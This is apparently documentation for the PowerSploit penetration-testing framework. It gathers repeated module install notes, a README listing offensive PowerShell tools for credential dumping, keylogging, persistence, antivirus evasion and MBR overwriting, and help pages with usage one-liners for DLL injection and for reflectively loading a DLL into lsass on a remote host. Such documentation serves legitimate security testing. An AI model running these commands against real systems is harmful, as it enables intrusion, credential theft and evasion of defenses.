The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module Exfiltration

To see the commands imported, type Get-Command -Module Exfiltration

For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.



            

          

      

      

    

  

    
      
          
            
  To install this module, drop the entire Mayhem folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module Mayhem

To see the commands imported, type Get-Command -Module Mayhem

For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.



            

          

      

      

    

  

    
      
          
            
  To install this module, drop the entire ScriptModification folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module Persistence

To see the commands imported, type Get-Command -Module Persistence

For help on each individual command, Get-Help is your friend.



            

          

      

      

    

  

    
      
          
            
  To install this module, drop the entire Privesc folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module Privesc

To see the commands imported, type Get-Command -Module Privesc

For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.

## PowerUp

PowerUp aims to be a clearinghouse of common Windows privilege escalation
vectors that rely on misconfigurations.

Running Invoke-AllChecks will output any identifiable vulnerabilities along
with specifications for any abuse functions. The -HTMLReport flag will also
generate a COMPUTER.username.html version of the report.

Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None


	### Token/Privilege Enumeration/Abuse:
	Get-ProcessTokenGroup               -   returns all SIDs that the current token context is a part of, whether they are disabled or not
Get-ProcessTokenPrivilege           -   returns all privileges for the current (or specified) process ID
Enable-Privilege                    -   enables a specific privilege for the current process



	### Service Enumeration/Abuse:
	Test-ServiceDaclPermission          -   tests one or more passed services or service names against a given permission set
Get-UnquotedService                 -   returns services with unquoted paths that also have a space in the name
Get-ModifiableServiceFile           -   returns services where the current user can write to the service binary path or its config
Get-ModifiableService               -   returns services the current user can modify
Get-ServiceDetail                   -   returns detailed information about a specified service
Set-ServiceBinaryPath               -   sets the binary path for a service to a specified value
Invoke-ServiceAbuse                 -   modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary                 -   writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary               -   replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary               -   restores a replaced service binary with the original executable



	### DLL Hijacking:
	Find-ProcessDLLHijack               -   finds potential DLL hijacking opportunities for currently running processes
Find-PathDLLHijack                  -   finds service %PATH% DLL hijacking opportunities
Write-HijackDll                     -   writes out a hijackable DLL



	### Registry Checks:
	Get-RegistryAlwaysInstallElevated   -   checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon               -   checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun       -   checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns



	### Miscellaneous Checks:
	Get-ModifiableScheduledTaskFile     -   find schtasks with modifiable target files
Get-UnattendedInstallFile           -   finds remaining unattended installation files
Get-Webconfig                       -   checks for any encrypted web.config strings
Get-ApplicationHost                 -   checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword                -   retrieves the plaintext passwords for any found McAfee’s SiteList.xml files
Get-CachedGPPPassword               -   checks for passwords in cached Group Policy Preferences files



	### Other Helpers/Meta-Functions:
	Get-ModifiablePath                  -   tokenizes an input string and returns the files in it the current user can modify
Write-UserAddMSI                    -   write out a MSI installer that prompts for a user to be added
Invoke-WScriptUACBypass             -   performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe
Invoke-PrivescAudit                 -   runs all current escalation checks and returns a report (formerly Invoke-AllChecks)







            

          

      

      

    

  

    
      
          
            
  To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module Recon

To see the commands imported, type Get-Command -Module Recon

For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.

## PowerView

PowerView is a PowerShell tool to gain network situational awareness on
Windows domains. It contains a set of pure-PowerShell replacements for various
windows “net *” commands, which utilize PowerShell AD hooks and underlying
Win32 API functions to perform useful Windows domain functionality.

It also implements various useful metafunctions, including some custom-written
user-hunting functions which will identify where on the network specific users
are logged into. It can also check which machines on the domain the current
user has local administrator access on. Several functions for the enumeration
and abuse of domain trusts also exist. See function descriptions for appropriate
usage and available options. For detailed output of underlying functionality, pass
the -Verbose or -Debug flags.

For functions that enumerate multiple machines, pass the -Verbose flag to get a
progress status as each host is enumerated. Most of the “meta” functions accept
an array of hosts from the pipeline.


	### Misc Functions:
	Export-PowerViewCSV             -   thread-safe CSV append
Resolve-IPAddress               -   resolves a hostname to an IP
ConvertTo-SID                   -   converts a given user/group name to a security identifier (SID)
Convert-ADName                  -   converts object names between a variety of formats
ConvertFrom-UACValue            -   converts a UAC int value to human readable form
Add-RemoteConnection            -   pseudo “mounts” a connection to a remote path using the specified credential object
Remove-RemoteConnection         -   destroys a connection created by New-RemoteConnection
Invoke-UserImpersonation        -   creates a new “runas /netonly” type logon and impersonates the token
Invoke-RevertToSelf             -   reverts any token impersonation
Get-DomainSPNTicket             -   request the kerberos ticket for a specified service principal name (SPN)
Invoke-Kerberoast               -   requests service tickets for kerberoast-able accounts and returns extracted ticket hashes
Get-PathAcl                     -   get the ACLs for a local/remote file path with optional group recursion



	### Domain/LDAP Functions:
	Get-DomainDNSZone               -   enumerates the Active Directory DNS zones for a given domain
Get-DomainDNSRecord             -   enumerates the Active Directory DNS records for a given zone
Get-Domain                      -   returns the domain object for the current (or specified) domain
Get-DomainController            -   return the domain controllers for the current (or specified) domain
Get-Forest                      -   returns the forest object for the current (or specified) forest
Get-ForestDomain                -   return all domains for the current (or specified) forest
Get-ForestGlobalCatalog         -   return all global catalogs for the current (or specified) forest
Find-DomainObjectPropertyOutlier-   inds user/group/computer objects in AD that have ‘outlier’ properties set
Get-DomainUser                  -   return all users or specific user objects in AD
New-DomainUser                  -   creates a new domain user (assuming appropriate permissions) and returns the user object
Set-DomainUserPassword          -   sets the password for a given user identity and returns the user object
Get-DomainUserEvent             -   enumerates account logon events (ID 4624) and Logon with explicit credential events
Get-DomainComputer              -   returns all computers or specific computer objects in AD
Get-DomainObject                -   returns all (or specified) domain objects in AD
Set-DomainObject                -   modifies a gven property for a specified active directory object
Get-DomainObjectAcl             -   returns the ACLs associated with a specific active directory object
Add-DomainObjectAcl             -   adds an ACL for a specific active directory object
Find-InterestingDomainAcl       -   finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects
Get-DomainOU                    -   search for all organization units (OUs) or specific OU objects in AD
Get-DomainSite                  -   search for all sites or specific site objects in AD
Get-DomainSubnet                -   search for all subnets or specific subnets objects in AD
Get-DomainSID                   -   returns the SID for the current domain or the specified domain
Get-DomainGroup                 -   return all groups or specific group objects in AD
New-DomainGroup                 -   creates a new domain group (assuming appropriate permissions) and returns the group object
Get-DomainManagedSecurityGroup  -   returns all security groups in the current (or target) domain that have a manager set
Get-DomainGroupMember           -   return the members of a specific domain group
Add-DomainGroupMember           -   adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so
Get-DomainFileServer            -   returns a list of servers likely functioning as file servers
Get-DomainDFSShare              -   returns a list of all fault-tolerant distributed file systems for the current (or specified) domain





### GPO functions


Get-DomainGPO                           -   returns all GPOs or specific GPO objects in AD
Get-DomainGPOLocalGroup                 -   returns all GPOs in a domain that modify local group memberships through ‘Restricted Groups’ or Group Policy preferences
Get-DomainGPOUserLocalGroupMapping      -   enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation
Get-DomainGPOComputerLocalGroupMapping  -   takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation
Get-DomainPolicy                        -   returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller




### Computer Enumeration Functions


Get-NetLocalGroup                   -   enumerates the local groups on the local (or remote) machine
Get-NetLocalGroupMember             -   enumerates members of a specific local group on the local (or remote) machine
Get-NetShare                        -   returns open shares on the local (or a remote) machine
Get-NetLoggedon                     -   returns users logged on the local (or a remote) machine
Get-NetSession                      -   returns session information for the local (or a remote) machine
Get-RegLoggedOn                     -   returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys
Get-NetRDPSession                   -   returns remote desktop/session information for the local (or a remote) machine
Test-AdminAccess                    -   rests if the current user has administrative access to the local (or a remote) machine
Get-NetComputerSiteName             -   returns the AD site where the local (or a remote) machine resides
Get-WMIRegProxy                     -   enumerates the proxy server and WPAD conents for the current user
Get-WMIRegLastLoggedOn              -   returns the last user who logged onto the local (or a remote) machine
Get-WMIRegCachedRDPConnection       -   returns information about RDP connections outgoing from the local (or remote) machine
Get-WMIRegMountedDrive              -   returns information about saved network mounted drives for the local (or remote) machine
Get-WMIProcess                      -   returns a list of processes and their owners on the local or remote machine
Find-InterestingFile                -   searches for files on the given path that match a series of specified criteria




### Threaded ‘Meta’-Functions


Find-DomainUserLocation             -   finds domain machines where specific users are logged into
Find-DomainProcess                  -   finds domain machines where specific processes are currently running
Find-DomainUserEvent                -   finds logon events on the current (or remote domain) for the specified users
Find-DomainShare                    -   finds reachable shares on domain machines
Find-InterestingDomainShareFile     -   searches for files matching specific criteria on readable shares in the domain
Find-LocalAdminAccess               -   finds machines on the local domain where the current user has local administrator access
Find-DomainLocalGroupMember         -   enumerates the members of specified local group on machines in the domain





	### Domain Trust Functions:
	Get-DomainTrust                     -   returns all domain trusts for the current domain or a specified domain
Get-ForestTrust                     -   returns all forest trusts for the current forest or a specified forest
Get-DomainForeignUser               -   enumerates users who are in groups outside of the user’s domain
Get-DomainForeignGroupMember        -   enumerates groups with users outside of the group’s domain and returns each foreign member
Get-DomainTrustMapping              -   this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds







            

          

      

      

    

  

    
      
          
            
  To install this module, drop the entire ScriptModification folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module ScriptModification

To see the commands imported, type Get-Command -Module ScriptModification

For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.



            

          

      

      

    

  

    
      
          
            
  ## Overview
PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.

### CodeExecution
Execute code on a target machine.


Invoke-DllInjection - Injects a Dll into the process ID of your choosing.
Invoke-ReflectivePEInjection - Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
Invoke-Shellcode - Injects shellcode into the process ID of your choosing or within PowerShell locally.
Invoke-WmiCommand - Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel




### ScriptModification
Modify and/or prepare scripts for execution on a compromised machine.


Out-EncodedCommand - Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
Out-CompressedDll - Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.
Out-EncryptedScript - Encrypts text files/scripts.
Remove-Comment - Strips comments and extra whitespace from a script.




### Persistence

Add persistence capabilities to a PowerShell script.


New-UserPersistenceOption - Configure user-level persistence options for the Add-Persistence function.
New-ElevatedPersistenceOption - Configure elevated persistence options for the Add-Persistence function.
Add-Persistence - Add persistence capabilities to a script.
Install-SSP - Installs a security support provider (SSP) dll.
Get-SecurityPackage - Enumerates all loaded security packages (SSPs).




### AntivirusBypass
AV doesn’t stand a chance against PowerShell!


Find-AVSignature - Locates single Byte AV signatures utilizing the same method as DSplit from “class101”.




### Exfiltration
All your data belong to me!


Invoke-TokenManipulation - Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
Invoke-CredentialInjection - Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).
Invoke-NinjaCopy - Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.
Invoke-Mimikatz - Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.
Get-Keystrokes - Logs keys pressed, time and the active window.
Get-GPPPassword - Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
Get-GPPAutologon - Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.
Get-TimedScreenshot - A function that takes screenshots at a regular interval and saves them to a folder.
New-VolumeShadowCopy - Creates a new volume shadow copy.
Get-VolumeShadowCopy - Lists the device paths of all local volume shadow copies.
Mount-VolumeShadowCopy - Mounts a volume shadow copy.
Remove-VolumeShadowCopy - Deletes a volume shadow copy.
Get-VaultCredential - Displays Windows vault credential objects including cleartext web credentials.
Out-Minidump - Generates a full-memory minidump of a process.
Get-MicrophoneAudio - Records audio from system microphone and saves to disk.




### Mayhem
Cause general mayhem with PowerShell.


Set-MasterBootRecord - Proof of concept code that overwrites the master boot record with the message of your choice.
Set-CriticalProcess - Causes your machine to blue screen upon exiting PowerShell.




### Privesc
Tools to help with escalating privileges on a target, including PowerUp.


PowerUp - Clearing house of common privilege escalation checks, along with some weaponization vectors.
Get-System - GetSystem functionality inspired by Meterpreter’s getsystem




### Recon
Tools to aid in the reconnaissance phase of a penetration test, including PowerView.


Invoke-Portscan - Does a simple port scan using regular sockets, based (pretty) loosely on nmap.
Get-HttpStatus - Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.
Invoke-ReverseDnsLookup - Scans an IP address range for DNS PTR records.
PowerView - PowerView is series of functions that performs network and Windows domain enumeration and exploitation.




## License

The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise.

## Usage

Refer to the comment-based help in each individual script for detailed usage information.

To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module PowerSploit

To see the commands imported, type Get-Command -Module PowerSploit

If you’re running PowerShell v3 and you want to remove the annoying ‘Do you really want to run scripts downloaded from the Internet’ warning, once you’ve placed PowerSploit into your module path, run the following one-liner:
`$Env:PSModulePath.Split(‘;’) |


% { if ( Test-Path (Join-Path $_ PowerSploit) )
{Get-ChildItem $_ -Recurse | Unblock-File} }`




For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.

## Contribution Rules

We need contributions! If you have a great idea for PowerSploit, we’d love to add it. New additions will require the following:


	The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason.


	The module manifest needs to be updated to reflect the new function being added.


	A brief description of the function should be added to this README.md


	Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks!




## Script Style Guide

For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.


	
	Avoid Write-Host at all costs. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles:
	
	<http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx>


	<http://technet.microsoft.com/en-us/library/ff730946.aspx>










	If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on ‘-Verbose’.


	Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license).


	Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis.


	I prefer that variable names be capitalized and be as descriptive as possible.


	Provide logical spacing in between your code. Indent your code to make it more readable.


	If you find yourself repeating code, write a function.


	Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use ‘Throw’. If you have an error that doesn’t need to stop execution, use Write-Error.


	If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible.


	Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.


	PowerShell v2 compatibility is highly desired.


	
	Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I’m looking for something like the following:
	
	[Parameter(Position = 0, Mandatory = $True)]










	Don’t use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.


	Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break.


	Don’t go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.


	Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement.


	Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.


	If a script creates complex custom objects, include a ps1xml file that will properly format the object’s output.






            

          

      

      

    

  

    
      
          
            
  # Find-AVSignature

## SYNOPSIS
Locate tiny AV signatures.

PowerSploit Function: Find-AVSignature
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

```
Find-AVSignature [-StartByte] <UInt32> [-EndByte] <String> [-Interval] <UInt32> [[-Path] <String>]


[[-OutPath] <String>] [[-BufferLen] <UInt32>] [-Force]




```

## DESCRIPTION
Locates single Byte AV signatures utilizing the same method as DSplit from “class101” on heapoverflow.com.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
`

Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:testexemptnc.exe -OutPath c:testoutputrun2 -Verbose
Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:testexemptnc.exe -OutPath c:testoutputrun3 -Verbose
Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:testexemptnc.exe -OutPath c:testoutputrun4 -Verbose
Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:testexemptnc.exe -OutPath c:testoutputrun5 -Verbose

## PARAMETERS

### -StartByte
Specifies the first byte to begin splitting on.

```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -EndByte
Specifies the last byte to split on.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Interval
Specifies the interval size to split with.

```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:

Required: True
Position: 3
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Path
Specifies the path to the binary you want tested.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: ($pwd.path)
Accept pipeline input: False
Accept wildcard characters: False
```

### -OutPath
Optionally specifies the directory to write the binaries to.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: ($pwd)
Accept pipeline input: False
Accept wildcard characters: False
```

### -BufferLen
Specifies the length of the file read buffer .
Defaults to 64KB.

```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:

Required: False
Position: 6
Default value: 65536
Accept pipeline input: False
Accept wildcard characters: False
```

### -Force
Forces the script to continue without confirmation.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
Several of the versions of “DSplit.exe” available on the internet contain malware.

## RELATED LINKS

[http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
https://github.com/mattifestation/PowerSploit
http://www.exploit-monday.com/
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2](http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
https://github.com/mattifestation/PowerSploit
http://www.exploit-monday.com/
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2)



            

          

      

      

    

  

    
      
          
            
  # Invoke-DllInjection

## SYNOPSIS
Injects a Dll into the process ID of your choosing.

PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>
`

## DESCRIPTION
Invoke-DllInjection injects a Dll into an arbitrary process.
It does this by using VirtualAllocEx to allocate memory the size of the
DLL in the remote process, writing the names of the DLL to load into the
remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
to invoke LoadLibraryA in the context of the remote process.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
`


Description

Inject ‘evil.dll’ into process ID 4274.

## PARAMETERS

### -ProcessID
Process ID of the process you want to inject a Dll into.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Dll
Name of the dll to inject.
This can be an absolute or relative path.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
Use the ‘-Verbose’ option to print detailed information.

## RELATED LINKS

[http://www.exploit-monday.com](http://www.exploit-monday.com)




            

          

      

      

    

  

    
      
          
            
  # Invoke-ReflectivePEInjection

## SYNOPSIS
This script has two modes.
It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process.
These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them.

1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.

This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
this will load and execute the DLL/EXE in to memory without writing any files to disk.

2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won’t be displayed when tools are used to list DLLs of the running remote process.

This is probably most useful for injecting backdoors in SYSTEM processes in Session0.
Currently, you cannot retrieve output
from the DLL.
The script doesn’t wait for the DLL to complete execution, and doesn’t make any effort to cleanup memory in the
remote process.

PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
Code review and modifications: Matt Graeber, Twitter: @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

```
Invoke-ReflectivePEInjection [-PEBytes] <Byte[]> [[-ComputerName] <String[]>] [[-FuncReturnType] <String>]


[[-ExeArgs] <String>] [[-ProcId] <Int32>] [[-ProcName] <String>] [-ForceASLR] [-DoNotZeroMZ]




```

## DESCRIPTION
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
`

$PEBytes = [IO.File]::ReadAllBytes(‘DemoDLL.dll’)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local

### ————————– EXAMPLE 2 ————————–
`
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
`

the wchar_t* returned by WStringFunc() from all the computers.
$PEBytes = [IO.File]::ReadAllBytes(‘DemoDLL.dll’)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)

### ————————– EXAMPLE 3 ————————–
`
Load DemoEXE and run it locally.
`

$PEBytes = [IO.File]::ReadAllBytes(‘DemoEXE.exe’)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs “Arg1 Arg2 Arg3 Arg4”

### ————————– EXAMPLE 4 ————————–
`
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
`

$PEBytes = [IO.File]::ReadAllBytes(‘DemoEXE.exe’)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs “Arg1 Arg2 Arg3 Arg4” -ForceASLR

### ————————– EXAMPLE 5 ————————–
`
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
`

$PEBytes = [IO.File]::ReadAllBytes(‘DemoDLL_RemoteProcess.dll’)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local

## PARAMETERS

### -PEBytes
A byte array containing a DLL/EXE to load and execute.

```yaml
Type: Byte[]
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerName
Optional, an array of computernames to run the script on.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -FuncReturnType
Optional, the return type of the function being called in the DLL.
Default: Void


Options: String, WString, Void.





	See notes for more information.
	IMPORTANT: For DLLs being loaded remotely, only Void is supported.





```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 3
Default value: Void
Accept pipeline input: False
Accept wildcard characters: False
```

### -ExeArgs
Optional, arguments to pass to the executable being reflectively loaded.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ProcId
Optional, the process ID of the remote process to inject the DLL in to.
If not injecting in to remote process, ignore this.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -ProcName
Optional, the name of the remote process to inject the DLL in to.
If not injecting in to remote process, ignore this.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 6
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ForceASLR
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn’t support ASLR.
Some PE’s will work with ASLR even


if the compiler flags don’t indicate they support it.




Other PE’s will simply crash.
Make sure to test this prior to using.
Has no effect when


loading in to a remote process.




```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -DoNotZeroMZ
Optional, will not wipe the MZ from the first two bytes of the PE.
This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
GENERAL NOTES:
The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process


-Can return DLL output to user when run remotely or locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running pentest tools on remote computers without triggering process monitoring alerts.
-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.





	2.) Reflectively load an EXE in to the PowerShell process.
	-Can NOT return EXE output to user when run remotely.





If remote output is needed, you must use a DLL.
CAN return EXE output if run locally.


-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running existing pentest tools which are EXE’s without triggering process monitoring alerts.





	3.) Reflectively inject a DLL in to a remote process.
	-Can NOT return DLL output to the user when run remotely OR locally.
-Does NOT clean up memory in the remote process if/when DLL finishes execution.
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
-Expects the DLL to have this function: void VoidFunc().





This is the function that will be called after the DLL is loaded.

DLL LOADING NOTES:

PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
return a char* or wchar_t*, which PowerShell can take and read the output from.
Anything output from stdout which is run using powershell
remoting will not be returned to you.
If you just run the PowerShell script locally, you WILL be able to see the stdout output from
applications because it will just appear in the console window.
The limitation only applies when using PowerShell remoting.

For DLL Loading:
Once this script loads the DLL, it calls a function in the DLL.
There is a section near the bottom labeled “YOUR CODE GOES HERE”
I recommend your DLL take no parameters.
I have prewritten code to handle functions which take no parameters are return
the following types: char*, wchar_t*, and void.
If the function returns char* or wchar_t* the script will output the
returned data.
The FuncReturnType parameter can be used to specify which return type to use.
The mapping is as follows:
wchar_t*   : FuncReturnType = WString
char*      : FuncReturnType = String
void       : Default, don’t supply a FuncReturnType

For the whcar_t* and char_t* options to work, you must allocate the string to the heap.
Don’t simply convert a string
